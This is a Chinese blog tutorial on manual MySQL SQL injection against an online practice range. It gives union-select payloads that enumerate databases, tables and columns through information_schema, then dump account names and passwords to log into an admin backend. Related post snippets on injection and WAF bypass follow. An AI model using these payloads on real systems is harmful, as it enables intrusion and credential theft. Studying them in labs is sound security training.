今天进行了MySQL手工注入实战,分享一下自己的实战过程和总结,这里环境使用的是墨者学院的在线靶场。话不多说,咱们直接开始。

第一步,判断注入点

通过 ' 和构造 and 1=1 和 and 1=2 查看页面是否报错。这里通过and 1=1 发现页面正常。如下图。

接下来,咱们再构造 and 1=2 发现页面报错,说明页面存在注入点。如下图。

第二步,判断字段数

通过 order by 语句,如果后面输入的数字大于数据库的字段数,页面就会报错,通过这个,咱们先输入 order by 4 发现页面正常。如下图。

接下来,咱们输入 order by 5,发现页面报错,说明数据库中存在四个字段。如下图

第三步,爆库

通过上一步,咱们已经知道了有几个字段,接下来,咱们通过联合查询,将 database() 依次替换1,2,3,4 看看哪个位置会显示在页面中,通过测试发现,2,3,两个位置有回显。构造如下语句 union select 1,database(),user(),4 #     最后的#是注释符。结果如下图。注意:使用联合查询时,要使得前面不可查询 所以我把1替换成了-1 也可以直接在后面添加 and 1=2 两种方式都可以。

第四步,爆表

在上一步咱们已经爆出了数据库名,接下来咱们爆表名,在MySQL 5 和之后的版本,里面有一个information_schema表,这个表下面存放了数据库里面的所有表,接下来就可以查询啦,这里用到了group_concat()函数,咱们构造如下语句 union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=库名(库名转换成十六进制)结果如下图。

第五步,爆字段

上面咱们查询出了表名,先用第一个表测试,接下来,爆字段,构造如下语句 union select 1,group_concat(column_name),3,4 from information_schema.columns where table_name=表名(换成十六进制),结果如下图

第六步,爆账号,密码。

通过上面,咱们发现,有 name password 字段,一般账号密码存放在里面。如果咱们通过一般查询,会掉到坑里面,如果咱们直接通过如下语句查询 union select 1,name,password,4 from 表名。发现爆出了账号密码,然后高兴的去登陆。发现尴尬了。去下图。

。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。

接下来该怎么办呢,其实只要只要在上一个的语句后面加一个 limit 语句 就搞定了,还可以使用 group_concat() 函数 把上一句的 name 换成group_concat(name) 就可以啦 password 同理。这里使用了limit 语句 它的原理是 limit 0,1 是从第一行开始查询,查询一行。 limit 0,2 是从第一行开始查,查询两行。limit 1,2 是从第二行开始查询,查询两行。结果如下图。

查询出了第二个密码。账号同理。成功登陆后台。注入结束。

MySQL 手工注入总结

第一步,判断注入点,通过 ' 或者 and 1=1 和and 1=2

第二步,判断字段数,通过 order by 语句。

第三步,爆库,通过 union select 1,2,database(),4 #

第四步,爆表,通过 union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=库名(库名换成十六进制)

第四步 爆字段,通过 union select 1,group_concat(column_name),3,4 from information_schema.columns where table_name=表名(表名换成十六进制)

第五步 爆账号,密码,这里可以使用 limit 语句,也可以使用 group_concat()函数。上面演示了limit语句,如果用函数。通过语句 union select 1,group_concat(name),group_concat(password),4 from 表名。就可以直接得到两个账号和密码。
第六步 解密密码,登陆。​

手工注入——MySQL手工注入实战和分析的更多相关文章

  1. MYSQL手工注入(详细步骤)—— 待补充

    0x00 SQL注入的分类: (1)基于从服务器接收到的响应         ▲基于错误的 SQL 注入         ▲联合查询的类型         ▲堆查询注射         ▲SQL 盲注 ...

  2. MySQL手工注入学习-1

    MySQL手工注入学习 SQLi-labs 手工注入学习 以下是通过SLQi-labs平台的部分简单例题的手工注入过程 Less-1:union联合查询注入 页面提示:Please input the ...

  3. MySQL手工注入进阶篇——突破过滤危险字符问题

    当我们在进行手工注入时,有时候会发现咱们构造的危险字符被过滤了,接下来,我就教大家如何解决这个问题.下面是我的实战过程.这里使用的是墨者学院的在线靶场.咱们直接开始. 第一步,判断注入点. 通过测试发 ...

  4. mysql手工注入

    以下是mynona本人原创的,奉献给大家,不要小看数据库注入 参考: http://www.daydaydata.com/help/sql/advance/limit.html http://www. ...

  5. sql注入【手工及一些工具】

    Sql注入原理分析: 网站程序存在可控传递参数,参数未进行过滤直接带入数据库查询,导致攻击者可通过传递恶意sql语句代码进行执行攻击. Sql注入产生条件 1.必须有参数传递 2.参数值带入数据库查询 ...

  6. 基础Web漏洞-SQL注入入门(手工注入篇)

    一.什么是SQL注入  SQL是操作数据库数据的结构化查询语言,网页的应用数据和后台数据库中的数据进行交互时会采用SQL.而SQL注入是将Web页面的原URL.表单域或数据包输入的参数,修改拼接成SQ ...

  7. Mysql基本注入

    实验环境:墨者学院Mysql手工注入漏洞测试靶场 后台源码没有进行任何字符过滤. 首先进入靶场环境 先用admin登陆试试 果然不行,这时看到用户登录下方有一个停机维护通知,点进去瞅瞅 看到这里链接上 ...

  8. MySQL的注入总结

    0x01 MySQL 5.0以上和MySQL 5.0以下版本的区别 MySQL5.0以上版本存在一个叫information_schema的数据库,它存储着数据库的所有信息,其中保存着关于MySQL服 ...

  9. 绕过阿里云waf进行mysql limit注入证明

    朋友发了我一个站点,来看看吧,是limit注入,不太常见.搞一搞吧. POST /Member/CompanyApply/lists HTTP/1.1 Host: * Content-Length: ...

随机推荐

  1. 前后端分离下的跨域CAS请求

    最重要的两点: ajax请求跨域的时候,默认不会携带cookie. 请求分为普通请求(HttpRequest)和Ajax请求(XMLHttpRequest) 先屡一下跨域CAS认证的流程: 前端发起a ...

  2. mysql的锁与事务

    1. MySQL中的事物 1.InnoDB事务原理 1. 事务(Transaction)是数据库区别于文件系统的重要特性之一,事务会把数据库从一种一致性状态转换为另一种一致性状态. 2. 在数据库提交 ...

  3. 用libvlc 抓取解码后的帧数据

    vlc是一套优秀的开源媒体库,其特点是提供了完整的流媒体框架, 用它可以非常方便的实现抓取解码帧的功能. 与此功能有关的关键API为 libvlc_video_set_callbacks /*设置回调 ...

  4. ggplot2(8) 精雕细琢

    8.1 主题 主题系统控制着图形中的非数据元素外观,它不会影响几何对象和标度等数据元素.这题不能改变图形的感官性质,但它可以使图形变得更具美感,满足整体一致性的要求.主题的控制包括标题.坐标轴标签.图 ...

  5. django中ORM中锁和事务

    一 锁 行级锁 select_for_update(nowait=False, skip_locked=False) #注意必须用在事务里面,至于如何开启事务,我们看下面的事务一节. 返回一个锁住行直 ...

  6. Vue2.0 【第一季】第3节 v-for指令:解决模板循环问题

    目录 Vue2.0 [第一季] 第3节 v-for指令:解决模板循环问题 第三节 v-for 指令 一.基本用法: 二.排序 三.对象循环输出 Vue2.0 [第一季] 第3节 v-for指令:解决模 ...

  7. 阿里云centos安装oracle

    目录 阿里云centos安装oracle 阿里云默认没有swap分区,oracle安装需要 安装Oracle所需的依赖包 创建用户和组 关闭SELINUX(阿里云缺省关闭) 开始安装 使用" ...

  8. npm run build时卡住不动了...

    在build文件夹里有个check-versions.js. if (shell.which('npm')) { versionRequirements.push({ name: 'npm', cur ...

  9. 初创电商公司Drop的数据湖实践

    欢迎关注微信公众号:ApacheHudi 1. 引入 Drop是一个智能的奖励平台,旨在通过奖励会员在他们喜爱的品牌购物时获得的Drop积分来提升会员的生活,同时帮助他们发现与他们生活方式产生共鸣的新 ...

  10. 还记得第一个看到的Flutter组件吗?

    注意:无特殊说明,Flutter版本及Dart版本如下: Flutter版本: 1.12.13+hotfix.5 Dart版本: 2.7.0 MaterialApp 在学习Flutter的过程中我们第 ...